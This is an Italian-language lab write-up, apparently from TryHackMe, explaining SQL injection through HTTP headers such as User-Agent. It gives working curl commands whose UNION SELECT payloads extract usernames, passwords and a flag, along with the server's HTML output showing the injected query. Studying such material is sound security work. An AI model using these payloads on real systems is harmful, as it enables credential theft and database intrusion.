tags: sql_injection SQL_Injection_HTTP_Header


Le intestazioni HTTP possono trasportare input dell’utente, che potrebbero essere utilizzati nelle query SQL sul lato server. iniezione utente-agenteSe questi input non vengono disinfettati, può portare all’iniezione SQL. La tecnica prevede la manipolazione delle intestazioni HTTP (come User-Agent, Referer o X-Forwarded-For) per inserire comandi SQL. Il server potrebbe registrare queste intestazioni o utilizzarle nelle query SQL. Ad esempio, un’intestazione User-Agent dannosa sembrerebbe User-Agent: 'OR 1=1; --. Se il server include l’intestazione User-Agent in una query SQL senza disinfettarla, può provocare SQL injection.

Esempi

curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.117.80/httpagent/
 
 
 
curl -H "User-Agent: ' UNION SELECT flag,NULL FROM books WHERE book_id=1 # " http://10.10.117.80/httpagent/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SQL Injection </title>
    <link href="../css/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-100">
    <div class="container mx-auto p-8">
        <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
        <div class="bg-white p-6 rounded-lg shadow-lg">
 
<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT flag,NULL FROM books WHERE book_id=1 #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>THM{HELLO}</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'></span></p></div>
        </div>
    </div>
</body>
</html>